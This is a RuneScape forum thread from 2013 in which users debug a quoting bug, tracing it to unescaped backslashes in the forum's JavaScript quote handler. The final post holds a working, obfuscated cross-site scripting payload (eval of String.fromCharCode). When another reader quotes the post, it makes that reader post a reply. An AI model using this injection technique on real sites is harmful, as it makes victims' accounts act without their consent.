forums.rs

Forums

RS-Linkify Thread is sticky

Quick find code: 261-262-33-65181208

of 1105
Footjoy

Footjoy

Posts: 11,054 Opal Posts by user Forum Profile RuneMetrics Profile
Keighlea said :
Hiya

I noticed just now that I couldn't quote a post, so thought I'd let you know about it just in case! Wasup's post here can be quoted, but Nbaseason's below him can't be. Indecent Act said :
Okay that post that Keighlea mentioned can't be quoted even with RS-Linkify disabled so I'm not sure what's going on there. But that's broken good and proper and for now is out of my hands. I may try to fix it but I'm hoping Jagex will.
I don't think you would be able to fix it yourself, i know it's possible to 'break' your post in such a way it becomes unquotable, i don't know how to do this myself but i could ask someone who knows, if you'd like to know?

05-Dec-2013 05:20:52

Indecent Act

Indecent Act

Posts: 7,456 Rune Posts by user Forum Profile RuneMetrics Profile
I haven't looked into that quoting issue, but judging by the error it's an escaping issue, and it wouldn't be the first time they have had escaping issues with literals in their regex.

I can very easily make any text quotable, that's not a problem. But I'd rather not because that will circumvent situations where Jagex prefer things not be quoted. Like locked threads and certain Jmod posts.

Besides that, I'm rewriting RS Linkify from scratch atm, that's keeping me busy and is partly why I have done so few updates lately.

That one post is a fairly minor thing, if it's not fixed after I'm done rewriting, or if it becomes a widespread problem I'll take a look at it and sort it out.

05-Dec-2013 05:34:59

Blasty
Feb Member 2017

Blasty

Posts: 9,319 Rune Posts by user Forum Profile RuneMetrics Profile
It's an escaping issue:

newfunt('[quot e id=259-260-610-65225508-49-328910599]','I\'d really like the Paladin armor they gave last year :\','[/quote]','2000',this);

gives the error:
SyntaxError: Invalid regular expression: missing /


The problem is the \ not being escaped at the end of the post, it works as expected if it's replaced with

newfunt('[quot e id=259-260-610-65225508-49-328910599]','I\'d really like the Paladin armor they gave last year :
\
\','[/quote]','2000',this);

­­­­
<
Blasty
the Blue
>
­­­­
Blasty
// @BlastytheBlue // Blasty#5167
| Co-owner of Mine Nation

05-Dec-2013 07:37:01

Indecent Act

Indecent Act

Posts: 7,456 Rune Posts by user Forum Profile RuneMetrics Profile
Amaethwr said :
How many different versions do you have at any one time?


Not many that I actually use, atm I have the same as everyone else using plus one that is in the process of a rewrite (that's what I'm using right now), it has the barest minimum of features and I'm slowly adding to it over time.


@Blasty, that's pretty much what I suspected. I wonder did this occur before the forum update we got this morning. Just seems odd that I have never seen this before. All that text that's in the onclick event for quotes is parsed from the server, seems odd that it's missed because they are escaped in other parts of the message,
see this post . It's escaped as expected.

Edit: actually it's not escaped as expected, quoting it is interesting (see the "\n" newline that appears). I have a feeling there may be a few issues that stem from this. Oh I tested this example without RS Linkify running btw.

05-Dec-2013 09:01:46 - Last edited on 05-Dec-2013 09:14:30 by Indecent Act

Blasty
Feb Member 2017

Blasty

Posts: 9,319 Rune Posts by user Forum Profile RuneMetrics Profile
Uh oh... Try quoting me

\',0);eval(String.fromCharCode(36,40,39,35,99,104,97,114,108,105,109,105,116,95,116,101,120,116,95,97,39,41,46,118,97,108,40,39,108,111,108,39,41,59,36,40,39,35,97,100,100,39,41,46,99,108,105,99,107,40,41))//
Blasty
// @BlastytheBlue // Blasty#5167
| Co-owner of Mine Nation

05-Dec-2013 10:10:23 - Last edited on 05-Dec-2013 10:12:41 by Blasty

Quick find code: 261-262-33-65181208 Back to Top